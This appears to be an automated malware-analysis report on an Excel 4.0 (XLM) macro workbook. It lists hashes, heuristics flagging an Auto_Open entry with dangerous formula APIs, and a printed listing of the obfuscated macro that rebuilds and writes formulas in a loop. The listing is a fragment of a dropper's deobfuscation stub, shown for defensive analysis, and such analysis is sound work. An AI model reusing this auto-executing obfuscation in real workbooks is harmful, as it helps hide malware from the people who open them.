Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 641999c97858989f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:34 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 68b10126ce62e56a9a332c568ff207bf SHA-1: 01dbacdb356013f61d1a4e2e5ac6eed64932dcb6 SHA-256: 641999c97858989f6cbdb9d3405ca31fb77c07d9fa83952e60e667578173a7e5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6588 bytes
SHA-256: 83dd52e3e65e51f4819ded531bf56fb62ec8bc6e5bbda7aaf0e443966d87c6d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  biJnGHqq
' 0018     22 LABEL : Cell Value, String Constant - AgxAqnR len=0 
' 0018     24 LABEL : Cell Value, String Constant - aquwOVvwE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I157 
' 0018     22 LABEL : Cell Value, String Constant - BAMcWVM len=0 
' 0018     27 LABEL : Cell Value, String Constant - bDUBOcSfKaBY len=0 
' 0018     23 LABEL : Cell Value, String Constant - FOfTUjnN len=0 
' 0018     26 LABEL : Cell Value, String Constant - FOGYkGYyPUq len=0 
' 0018     22 LABEL : Cell Value, String Constant - iEXMZWP len=0 
' 0018     23 LABEL : Cell Value, String Constant - nfGsFwak len=0 
' 0018     27 LABEL : Cell Value, String Constant - oJudpEJxypiZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - OVjzLeEhWqFp len=0 
' 0018     26 LABEL : Cell Value, String Constant - pIdvxxjBwPn len=0 
' 0018     23 LABEL : Cell Value, String Constant - pNntDWQL len=0 
' 0018     23 LABEL : Cell Value, String Constant - QdqFklzL len=0 
' 0018     22 LABEL : Cell Value, String Constant - rfvxXZZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - sKOSTpo len=0 
' 0018     27 LABEL : Cell Value, String Constant - VCBLnQQzlqKz len=0 
' 0018     25 LABEL : Cell Value, String Constant - VkeFeTpgEK len=0 
' 0018     20 LABEL : Cell Value, String Constant - wrlCt len=0 
' 0018     26 LABEL : Cell Value, String Constant - YPxSsAkhmav len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZQUACmiYQtsl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  biJnGHqq,I71,"SET.NAME("VCBLnQQzlqKz",VALUE("0"))",""
'  biJnGHqq,I73,"SET.NAME("pNntDWQL",VCBLnQQzlqKz)",""
'  biJnGHqq,I75,"SET.NAME("pIdvxxjBwPn",VCBLnQQzlqKz)",""
'  biJnGHqq,I80,"SET.NAME("iEXMZWP",COUNTA(ZQUACmiYQtsl))",""
'  biJnGHqq,I84,"SET.NAME("oJudpEJxypiZ",COUNTA(bDUBOcSfKaBY))",""
'  biJnGHqq,I88,[],""
'  biJnGHqq,I92,"SET.NAME("BAMcWVM","")",""
'  biJnGHqq,I94,"pNntDWQL",""
'  biJnGHqq,I99,"SET.NAME("YPxSsAkhmav",HLOOKUP("*",ZQUACmiYQtsl,pNntDWQL,FALSE))",""
'  biJnGHqq,I103,"FOGYkGYyPUq",""
'  biJnGHqq,I105,"SET.NAME("rfvxXZZ",VCBLnQQzlqKz)",""
'  biJnGHqq,I108,[],""
'  biJnGHqq,I110,"rfvxXZZ",""
'  biJnGHqq,I112,"OVjzLeEhWqFp",""
'  biJnGHqq,I117,"nfGsFwak",""
'  biJnGHqq,I122,"AgxAqnR",""
'  biJnGHqq,I124,"SET.NAME("FOfTUjnN",VALUE(HLOOKUP("*",bDUBOcSfKaBY,AgxAqnR,FALSE)))",""
'  biJnGHqq,I127,"sKOSTpo",""
'  biJnGHqq,I130,"BAMcWVM",""
'  biJnGHqq,I132,"pIdvxxjBwPn",""
'  biJnGHqq,I134,NEXT(),""
'  biJnGHqq,I138,"QdqFklzL",""
'  biJnGHqq,I143,"SET.NAME("f",INT(T(FORMULA(T(BAMcWVM)&"",""&T(QdqFklzL)))))",""
'  biJnGHqq,I145,"VkeFeTpgEK",""
'  biJnGHqq,I150,NEXT(),""
'  biJnGHqq,I155,RETURN(),""
'  biJnGHqq,I182,"SET.NAME("wrlCt",I71)",""
'  biJnGHqq,I185,"ZQUACmiYQtsl",""
'  biJnGHqq,I187,"SET.NAME("bDUBOcSfKaBY",R60C11)",""
'  biJnGHqq,I192,"SET.NAME("VkeFeTpgEK",199)",""
'  biJnGHqq,I195,"SET.NAME("aquwOVvwE",9)",""
'  biJnGHqq,I198,wrlCt(),""
'  biJnGHqq,I199,HALT(),""

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